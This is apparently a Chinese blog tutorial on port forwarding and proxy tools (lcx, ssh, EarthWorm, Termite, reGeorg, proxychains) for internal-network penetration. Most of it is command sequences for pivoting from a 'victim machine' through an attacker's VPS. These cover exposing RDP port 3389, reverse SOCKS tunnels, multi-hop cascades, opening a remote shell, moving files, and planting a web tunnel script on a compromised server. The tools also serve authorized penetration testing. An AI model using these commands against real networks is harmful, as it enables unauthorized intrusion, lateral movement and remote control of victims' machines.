在进行内网渗透的过程中,端口转发和网络代理是肯定会用到的,基本上不同的场景需要用到不同的工具,本文简单记录一下目前比较流行的端口转发和代理工具。
阅读前需要了解:
- 端口转发和网络代理的区别
- 远程端口转发与本地转发的区别
- 正向代理和反向代理的区别
lcx
这是一款很经典的端口转发工具,只支持windows。经常被用来转发内网的3389端口。但很容易被杀软检测出来,写文章时我搜了几个自称免杀的版本,但是都没过去本地的卡巴斯基,不推荐使用。下面简单记录一下用法:
- 转发本地3389到公网
# 执行完后连接公网vps的5555端口就等于连接受害机的3389
# 1.公网vps执行
lcx.exe -listen 4444 5555
# 2.受害机执行
lcx.exe -slave <vps ip> 4444 127.0.0.1 3389
- 本地端口转发
# 受害机将本地的21端口的流量转发到本地的3389端口
# 执行完后连接受害机的21端口就相当于连接受害机的3389端口
lcx.exe -tran 21 127.0.0.1 3389
ssh
ssh可以做端口转发,详细的介绍以前写过,详细用法参考:https://saucer-man.com/operation_and_maintenance/217.html
# 动态端口转发,可用作代理
ssh -N -D local-port tunnel-host
# 本地端口转发
ssh -N -L local-port:target-host:target-port tunnel-host
# 远程端口转发
ssh -R local-port:target-host:target-port local
Earthworm
Earthworm可以用作端口转发、SOCKS代理。
项目主页:http://rootkiter.com/EarthWorm/
如官网所说,EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。虽然已停止更新,但其功能已足够日常使用。
下面是其基本用法:
- 正向代理
./ew -s ssocksd -l 1080
# 在主机A上通过这个命令开启 1080 端口的 socks 代理
# 其作用就类似于shadowsocks
+---------+ +-------------------------+
| Hacker | --> | <受害者ip>:1080--> 内网 |
+---------+ +-------------------------+
- 反向SOCKS5代理 假设受害机处于内网,我们无法直接连接,那么我们直接将其作为正向代理也没用,这种情况可以使用反向代理。
# 先在一台具有公网 ip 的主机A上运行以下命令:
./ew -s rcsocks -l 1080 -e 8888
# 在目标主机B上启动 SOCKS v5 服务 并反弹到公网主机的 8888端口
./ew -s rssocks -d <vps ip> -e 8888
# 接下来可以代理A的1080端口进入B内网
+---------+ +-------------------------+
| Hacker | --> | <vps-ip>:1080--> 内网 |
+---------+ +-------------------------+
- 端口转发
# 基本和lcx类似
1.正向端口转发
# 接受本地1080端口的流量,转发到forward-ip的9999端口
# 实际访问本地1080端口,就相当于访问forward-ip的9999端口
./ew -s lcx_tran -l 1080 -f <forward-ip> -g 9999
2. 远程端口转发
# 首先在公网A上执行
./ew -s lcx_listen -l 1080 -e 1234
# 接着在内网B上执行
./ew -s lcx_slave -d <A-ip> -e 1234 -f <forward-ip> -g 3389
此时A会将1080接受到的流量转发到A的1234端口,B会接受到流量,并且转发到forward-ip的3389端口。
- 二级级联
1.情况一 内网B与公网A互通
+------不通--------+
| |
攻击者<------->B------->C<----->内 网
| |
+------不通-------------+
# C在本地建立socks5代理,端口为1080
./ew -s ssocksd -l 1080
# B把来自外部的1090端口的流量转到内网C这台机器的1080端口上
./ew -s lcx_tran -l 1090 -f <c-ip> -g 1080
# 接下来以B的1090为代理即可进入内网
2.情况二 内网B没有公网ip,只能访问外网
+------不通--------+
| |
攻击者<--------B------->C<----->内 网
| |
+------不通-------------+
# 攻击者首先把来自外部的1080端口的流量转到本地的1234端口上
./ew -s lcx_listen -l 1080 -e 1234
# C在本地建立socks5代理,端口为8080
./ew -s ssocksd -l 8080
# B远程端口转发,将来自攻击者1234端口的流量转发到C的8080端口
./ew -s lcx_slave -d <攻击者-ip> -e 1234 -f <C-ip> -g 8080
# 此时以攻击者的1080端口为代理,可进入内网
- 三级级联 官网示例
./ew -s rcsocks -l 1080 -e 8888
./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
./ew -s lcx_listen -l 9999 -e 7777
./ew -s rssocks -d 127.0.0.1 -e 7777
数据流向: SOCKS v5 -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks
Termite
作为ew的升级版,Termite同样是一个集成端口转发和代理功能的工具。
项目主页: http://rootkiter.com/Termite/
用法copy自官网:
1. 以服务模式启动一个agent服务。
> $ ./agent -l 8888
2. 令管理端连接到agent并对agent进行管理。
> $ ./admin -c 127.0.0.1 -p 8888
3. 此时,admin端会得到一个内置的shell, 输入help指令可以得到帮助信息。
>> help
4. 通过show指令可以得到当前agent的拓扑情况。
>> show
0M
+-- 1M
由于当前拓扑中只有一个agent,所以展示结果只有 1M ,
其中1 为节点的ID号,
M为MacOS系统的简写,Linux为L,Windows简写为W。
5. 将新agent加入当前拓扑
> ./agent -c 127.0.0.1 -p 8888
6. 此时show指令将得到如下效果
0M
+-- 1M
| +-- 2M
这表明,当前拓扑中有两个节点,其中由于2节点需要通过1节点才能访问,所以下挂在1节点下方。
7. 在2节点开启socks代理,并绑定在本地端口
>> goto 2
将当前被管理节点切换为 2 号节点。
>> socks 1080
此时,本地1080 端口会启动个监听服务,而服务提供者为2号节点。
8. 在1号节点开启一个shell并绑定到本地端口
>> goto 1
>> shell 7777
此时,通过nc本地的 7777 端口,就可以得到一个 1 节点提供的 shell.
9. 将远程的文件下载至本地
>> goto 1
>> downfile 1.txt 2.txt
将1 节点,目录下的 1.txt 下载至本地,并命名为2.txt
10. 上传文件至远程节点
>> goto 2
>> upfile 2.txt 3.txt
将本地的 2.txt 上传至 2号节点的目录,并命名为3.txt
11. 端口转接
>> goto 2
>> lcxtran 3388 10.0.0.1 3389
以2号节点为跳板,将 10.0.0.1 的 3389 端口映射至本地的 3388 端口
reGeorg
reGeorg是reDuce的后继者,可创建SOCKS代理。其是基于web server创建的,可支持aspx|ashx|jsp|php。
项目地址为:https://github.com/sensepost/reGeorg
用法大概如下:
- 1.上传脚本到web目录下面,比如http://xxx.com/tunnel.php,访问显示“Georg says, ‘All seems fine’”,表示脚本运行正常
- 2.使用python脚本建立连接,reGeorgSocksProxy.py -p 1080 -u http://xxx.com/tunnel.php
此时就可以以本地1080端口为代理,进入http://xxx.com的内网。
Proxifier + proxychains
之所以将其放在一起,因为这两个都是代理客户端,proxifier是windows下的代理软件,而proxychains是基于linux平台的。 其项目地址分别为:
由于是代理客户端,所以也不需要进行复杂的配置,基本上填好代理服务器的地址和端口就好,怎么使用就没必要多介绍了。